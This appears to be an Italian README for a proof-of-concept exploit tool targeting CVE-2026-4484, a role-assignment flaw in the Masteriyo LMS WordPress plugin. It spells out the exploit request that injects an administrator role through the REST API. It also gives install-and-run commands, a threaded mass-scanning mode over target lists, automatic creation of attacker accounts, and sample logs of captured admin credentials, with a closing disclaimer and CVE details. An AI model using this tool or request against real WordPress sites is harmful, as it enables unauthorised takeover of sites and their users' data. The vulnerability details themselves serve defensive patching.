
Masteriyo LMS <= 2.1.6 - Mancanza di autorizzazione per l'escalation dei privilegi da utente autenticato (studente+) ad amministratore
Masteriyo LMS <= 2.1.6 - Autorizzazione mancante per l'escalation dei privilegi da autenticato (Studente+) ad Amministratore
Descrizione:
Il plugin Masteriyo LMS per WordPress è vulnerabile all'Escalation dei privilegi in tutte le versioni fino alla 2.1.6 inclusa. La vulnerabilità ha origine nella funzione InstructorsController::prepare_object_for_database, che non riesce a limitare correttamente l'assegnazione dei ruoli durante le richieste API REST. Un utente autenticato con un accesso di livello Studente può creare una richiesta POST appositamente formata all'endpoint REST API di Masteriyo — iniettando "roles": ["administrator"] nel payload della richiesta — per elevare silenziosamente il proprio account a Amministratore WordPress, ottenendo il pieno controllo del sito senza alcuna interazione amministrativa.
Questo è uno script di sfruttamento Proof-of-Concept (PoC) che mira a installazioni WordPress che eseguono una versione vulnerabile del plugin Masteriyo LMS. Lo strumento supporta due modalità di attacco:
| Modalità | Nome | Flusso | Caso d'uso |
|---|---|---|---|
[Register / Login as Student]
↓
[Fetch Dashboard Context — user_id + nonce]
↓
[POST /wp-json/masteriyo/v1/users/instructors/{id}]
[Payload: {"roles": ["administrator"]}]
↓
[Re-login with fresh session]
↓
[Verify /wp-admin access → confirmed Administrator]
↓
[Write to Login_admin.txt]
pip install requests urllib3 colorama
Oppure tramite il file dei requisiti:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-4484.git
cd CVE-2026-4484
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-4484.py
python3 CVE-2026-4484.py
Lo strumento utilizza un'interfaccia terminale interattiva — tutti i parametri vengono richiesti in fase di esecuzione.
Crea un file di testo semplice (es. list.txt) con un target per riga:
https://target1.com
https://target2.com
http://target3.com/wordpress
Usa questa modalità quando non hai un account esistente sul target. Lo strumento registra automaticamente un nuovo account studente, quindi lo eleva.
Select mode (1=Nx_1, 2=Nx_2) [2]: 1
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username to register (Nx_1) [Nxploited]: Nxploited
Email to use for registration+login (Nx_1) [[email protected]]: [email protected]
Password to use (Nx_1) [Nx_admin]: Nx_admin123!
Passaggi eseguiti automaticamente:
/account/signup/ → estrae il nonce di registrazione/st/ → registra un nuovo account come Studente/account/ → estrae il nonce di login/wp-admin/admin-ajax.php → login tramite AJAX di Masteriyo/account/#/dashboard → estrae current_user_id + nonce/wp-json/masteriyo/v1/users/instructors/{id} con {"roles":["administrator"]}Login_admin.txtUsa questa modalità quando hai già un account Studente o Istruttore valido sul target.
Select mode (1=Nx_1, 2=Nx_2) [2]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username or Email for login+escalation (Nx_2) [admin]: [email protected]
Password for that user: mypassword
Passaggi eseguiti automaticamente:
/account/ → estrae il nonce di login/wp-admin/admin-ajax.php → login tramite AJAX di Masteriyo/account/#/dashboard → estrae current_user_id + nonce/wp-json/masteriyo/v1/users/instructors/{id} con {"roles":["administrator"]}Login_admin.txt| File | Descrizione |
|---|---|
Login_admin.txt | Tutte le escalation ad amministratore confermate |
https://target.com/wp-login.php user:[email protected]|pass:Nx_admin123!
[OK] https://target.com :: LOGIN OK :: success
[OK] https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5
[OK] https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator']
[OK] https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).
POST /wp-json/masteriyo/v1/users/instructors/{user_id}
{
"roles": ["administrator"]
}
Content-Type: application/json
X-WP-Nonce: <extracted_from_dashboard>
La funzione InstructorsController::prepare_object_for_database in Masteriyo LMS elabora il parametro roles dal corpo della richiesta REST senza verificare se l'utente richiedente possiede la capacità edit_users o promote_users. Qualsiasi utente autenticato (di livello Studente o superiore) che possa raggiungere questo endpoint può inviare un valore di ruolo arbitrario — incluso administrator — che viene poi salvato direttamente nella tabella dei metadati utente di WordPress.
Autore: Nxploited (Khaled Alenazi)
QUESTO STRUMENTO È FORNITO SOLO PER SCOPI EDUCATIVI E DI RICERCA SULLA SICUREZZA AUTORIZZATA.
L'autore, Nxploited (Khaled Alenazi), e tutti i collaboratori di questo progetto non approvano, non supportano e non si assumono alcuna responsabilità per l'uso improprio di questo strumento o per qualsiasi danno causato dall'uso di questo software contro sistemi per i quali non si dispone di un'autorizzazione scritta esplicita.
- ✅ Permesso: Utilizzo su sistemi di tua proprietà o per i quali hai ricevuto un'esplicita autorizzazione scritta per il test.
- ❌ Vietato: Utilizzo contro qualsiasi sistema senza una preventiva autorizzazione scritta esplicita del proprietario del sistema.
L'accesso non autorizzato ai sistemi informatici è illegale e punibile ai sensi delle leggi applicabili, incluse, a titolo esemplificativo ma non esaustivo, il Computer Fraud and Abuse Act (CFAA), il Computer Misuse Act (CMA) e la legislazione equivalente in tutto il mondo.
Utilizzando questo strumento, accetti la piena responsabilità delle tue azioni e confermi di avere l'autorità legale per testare i sistemi presi di mira.
L'autore non si assume alcuna responsabilità per eventuali danni diretti, indiretti, incidentali o consequenziali derivanti dall'uso o dall'uso improprio di questo software.
© 2026 Nxploited (Khaled Alenazi) — Solo per ricerca di sicurezza autorizzata.
| Campo | Dettagli |
|---|
| ID CVE | CVE-2026-4484 |
| Gravità | ALTA — Punteggio CVSS v3.1: 8.8 |
| Vettore | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Software interessato | Plugin Masteriyo LMS per WordPress |
| Versioni interessate | Tutte le versioni fino alla 2.1.6 inclusa |
| Tipo di vulnerabilità | Escalation dei privilegi (Manipolazione dei ruoli) |
| Autenticazione richiesta | Sì — livello Studente o superiore |
| CWE | CWE-269: Gestione impropria dei privilegi |
Nx_1 |
| Registrazione → Login → Escalation → Verifica Admin |
| Attacco da zero — nessun account esistente richiesto |
| 2 | Nx_2 | Login → Escalation → Verifica Admin | Account esistente disponibile (Studente/Istruttore) |